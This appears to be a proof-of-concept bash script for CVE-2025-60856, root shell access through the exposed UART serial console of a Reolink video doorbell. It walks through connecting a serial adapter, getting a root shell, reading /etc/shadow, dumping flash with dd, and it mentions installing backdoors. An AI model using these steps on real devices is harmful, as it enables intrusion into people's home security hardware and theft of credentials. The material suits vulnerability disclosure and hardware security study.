CVE-2025-60856 Reolink视频门铃UART串口未授权访问漏洞

#!/bin/bash # CVE-2025-60856 PoC: Reolink Video Doorbell UART Root Shell Access # This PoC demonstrates how an attacker with physical access can # obtain root shell access via the exposed UART/serial console. # Requirements: # - USB-to-TTL serial adapter (e.g., CP2102, CH340, FTDI FT232) # - Physical access to the device PCB # - Identify UART pins: TX, RX, GND on the PCB # - Connect adapter to computer # Step 1: Install serial terminal tools # sudo apt-get install minicom picocom screen # Step 2: Identify the serial device # ls /dev/ttyUSB* (Linux) # or check Device Manager (Windows) # Step 3: Connect to UART console # Common baud rates for embedded devices: 115200, 57600, 38400, 9600 # Adjust as needed for this specific device SERIAL_PORT="/dev/ttyUSB0" BAUD_RATE="115200" echo "[*] Connecting to Reolink Video Doorbell UART console..." echo "[*] Port: $SERIAL_PORT, Baud: $BAUD_RATE" # Using minicom to connect # minicom -D $SERIAL_PORT -b $BAUD_RATE # Using screen to connect # screen $SERIAL_PORT $BAUD_RATE # Using picocom to connect # picocom -b $BAUD_RATE $SERIAL_PORT # Step 4: Once connected, power cycle the device to observe boot logs # The console should display Linux boot messages # Step 5: Gain root shell access # If prompted for login, attempt default credentials or exploit # The vulnerability states root shell is accessible # Example session after gaining shell: # root@reolink:~# id # uid=0(root) gid=0(root) groups=0(root) # # root@reolink:~# cat /etc/passwd # root@reolink:~# cat /etc/shadow # root@reolink:~# dmesg | grep -i uart # root@reolink:~# mount # root@reolink:~# ls /tmp /var /etc # Step 6: Post-exploitation # Extract firmware, modify configs, install backdoors, etc. # root@reolink:~# dd if=/dev/mtd0 of=/tmp/firmware_backup.bin # root@reolink:~# cat /etc/config/network echo "[!] Root shell access obtained - device fully compromised" # Cleanup: disconnect serial adapter # Note: Physical evidence of UART connection may be visible on PCB